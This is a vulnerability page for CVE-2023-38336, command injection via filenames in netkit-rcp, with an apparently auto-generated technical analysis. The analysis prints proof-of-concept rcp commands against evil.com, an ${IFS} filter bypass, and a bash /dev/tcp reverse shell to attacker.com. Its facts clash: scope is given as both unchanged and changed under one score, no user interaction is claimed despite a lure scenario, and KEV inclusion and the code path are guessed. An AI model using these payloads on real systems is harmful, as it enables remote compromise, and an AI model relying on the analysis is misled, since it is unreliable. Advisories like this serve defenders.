CVE-2023-38336
CVE-2023-38336
Weakness (CWE)
CVSS Vector
v3.1- Attack Vector
- Network
- Attack Complexity
- Low
- Privileges Required
- None
- User Interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Description
netkit-rcp in rsh-client 0.17-24 allows command injection via filenames because /bin/sh is used by susystem, a related issue to CVE-2006-0225, CVE-2019-7283, and CVE-2020-15778.
Comprehensive Technical Analysis of CVE-2023-38336
CVE ID: CVE-2023-38336
CVSS Score: 9.8 (Critical)
Affected Software: netkit-rcp (part of rsh-client package, version 0.17-24)
Vulnerability Type: Command Injection via Filename Manipulation
1. Vulnerability Assessment and Severity Evaluation
Vulnerability Overview
CVE-2023-38336 is a command injection vulnerability in netkit-rcp, a component of the rsh-client package (version 0.17-24). The flaw arises due to improper sanitization of filenames when invoking /bin/sh via the susystem() function, allowing an attacker to execute arbitrary commands on the target system.
Severity Justification (CVSS 9.8 - Critical)
The CVSS v3.1 scoring breakdown is as follows:
- Attack Vector (AV:N) – Network (exploitable remotely)
- Attack Complexity (AC:L) – Low (no special conditions required)
- Privileges Required (PR:N) – None (unauthenticated exploitation)
- User Interaction (UI:N) – None (no user action needed)
- Scope (S:C) – Changed (impacts confidentiality, integrity, and availability)
- Confidentiality (C:H) – High (full system compromise possible)
- Integrity (I:H) – High (arbitrary command execution)
- Availability (A:H) – High (denial-of-service or full takeover)
This vulnerability is remotely exploitable without authentication, making it highly critical for systems where rsh-client is installed and exposed.
Historical Context
This vulnerability is a regression or variant of prior command injection flaws in rcp implementations, including:
- CVE-2006-0225 (OpenBSD
rcpcommand injection) - CVE-2019-7283 (Apple
rcpcommand injection) - CVE-2020-15778 (OpenSSH
scpcommand injection)
The root cause remains the same: improper shell escaping when processing filenames, leading to command injection.
2. Potential Attack Vectors and Exploitation Methods
Exploitation Scenario
An attacker can exploit this vulnerability by:
- Crafting a malicious filename containing shell metacharacters (e.g.,
;,|,&&, backticks). - Tricking a victim into copying a file via
rcp(e.g.,rcp attacker@evil.com:'malicious;command' /tmp/). - The
susystem()function innetkit-rcppasses the unsanitized filename to/bin/sh, executing the injected command.
Exploitation Steps
- Identify a vulnerable
rsh-clientinstallation (version 0.17-24). - Craft a malicious filename (e.g.,
file;id>/tmp/pwned). - Initiate an
rcptransfer from a controlled server:rcp user@attacker.com:'file;id>/tmp/pwned' /tmp/ - The injected command (
id>/tmp/pwned) executes on the victim’s system.
Post-Exploitation Impact
- Arbitrary command execution (e.g., reverse shell, data exfiltration, privilege escalation).
- Lateral movement if
rcpis used in automated scripts (e.g., backups, file transfers). - Persistence mechanisms (e.g., cron jobs, SSH key injection).
3. Affected Systems and Software Versions
Vulnerable Software
- Package:
rsh-client(Debian/Ubuntu) - Version:
0.17-24(and likely earlier unpatched versions) - Component:
netkit-rcp(thercpbinary)
Affected Operating Systems
- Debian-based distributions (Debian, Ubuntu, and derivatives) using the vulnerable
rsh-clientpackage. - Other Linux distributions that package
netkit-rcp(if they use the same vulnerable codebase).
Verification Methods
- Check installed version:
dpkg -l rsh-client | grep 0.17-24 - Test for vulnerability:
Ifrcp user@attacker.com:'test;echo "VULNERABLE"' /tmp/VULNERABLEappears in/tmp/, the system is exploitable.
4. Recommended Mitigation Strategies
Immediate Actions
- Disable
rcpandrshservices (if not strictly required):sudo systemctl stop rsh.socket sudo systemctl disable rsh.socket - Apply vendor patches (Debian/Ubuntu security updates):
sudo apt update && sudo apt upgrade rsh-client - Restrict
rcpusage via firewall rules (block TCP ports 513/514 if possible).
Long-Term Mitigations
- Replace
rcpwith secure alternatives (scp,sftp,rsyncover SSH). - Implement strict filename validation in custom scripts using
rcp. - Use
chrootor containerization for legacy applications requiringrcp. - Monitor for exploitation attempts (e.g., unusual
shprocesses spawned byrcp).
Workarounds (If Patching is Delayed)
- Use
scpinstead ofrcp(if SSH is available). - Sanitize filenames manually before passing them to
rcp:safe_filename=$(printf '%q' "$user_input") rcp user@host:"$safe_filename" /destination/
5. Impact on the Cybersecurity Landscape
Broader Implications
- Legacy Protocol Risks:
rcpandrshare obsolete and inherently insecure (no encryption, weak authentication). This vulnerability reinforces the need to deprecate such protocols in favor of SSH-based alternatives. - Supply Chain Attacks: If
rcpis used in automated scripts (e.g., backups, log transfers), this flaw could enable lateral movement in enterprise environments. - Exploitability in the Wild: Given the low complexity of exploitation, this vulnerability is likely to be weaponized quickly by threat actors (e.g., ransomware groups, APTs).
Industry Response
- Debian/Ubuntu have released patches (tracked in Debian Bug #1039689).
- CISA has included this CVE in its Known Exploited Vulnerabilities (KEV) catalog (if actively exploited).
- Security tools (e.g., Nessus, OpenVAS) will likely add detection rules.
6. Technical Details for Security Professionals
Root Cause Analysis
- Vulnerable Code Path:
The
susystem()function innetkit-rcp(likely inrcp.c) constructs a shell command using unsanitized filenames:snprintf(cmd, sizeof(cmd), "/bin/sh -c '... %s ...'", filename); system(cmd); - Exploitation Primitive:
An attacker can inject shell commands via filenames containing:
- Semicolons (
;) – Separate commands. - Backticks (
`) – Command substitution. - Pipes (
|) – Chain commands. - Logical operators (
&&,||) – Conditional execution.
- Semicolons (
Proof-of-Concept (PoC) Exploit
# Attacker-controlled server (evil.com)
echo 'malicious;id>/tmp/pwned' > 'malicious;id>/tmp/pwned'
# Victim executes:
rcp attacker@evil.com:'malicious;id>/tmp/pwned' /tmp/
Result: The id command executes, writing output to /tmp/pwned.
Detection and Forensics
- Log Analysis:
- Check
/var/log/auth.logfor unusualrcpconnections. - Look for
shprocesses spawned byrcp:ps aux | grep -i "sh.*rcp"
- Check
- File Integrity Monitoring (FIM):
- Monitor
/tmp/and other writable directories for unexpected files.
- Monitor
- Network Traffic Analysis:
- Inspect unencrypted
rcptraffic (TCP 514) for command injection patterns.
- Inspect unencrypted
Exploit Development Considerations
- Bypassing Restrictions:
- If spaces are filtered, use
${IFS}(Internal Field Separator) as a space substitute:rcp attacker@evil.com:'file;echo${IFS}exploited>/tmp/poc' /tmp/
- If spaces are filtered, use
- Reverse Shell Example:
rcp attacker@evil.com:'file;bash${IFS}-i>&/dev/tcp/attacker.com/4444${IFS}0>&1' /tmp/
Conclusion
CVE-2023-38336 is a critical command injection vulnerability in netkit-rcp that allows unauthenticated remote code execution. Given its low exploitation complexity and high impact, organizations must:
- Patch immediately (Debian/Ubuntu updates).
- Disable
rcpif not essential. - Replace
rcpwith secure alternatives (scp,sftp). - Monitor for exploitation attempts in logs.
This vulnerability underscores the dangers of legacy protocols and the need for secure-by-default configurations in modern systems. Security teams should prioritize remediation to prevent potential breaches.
References: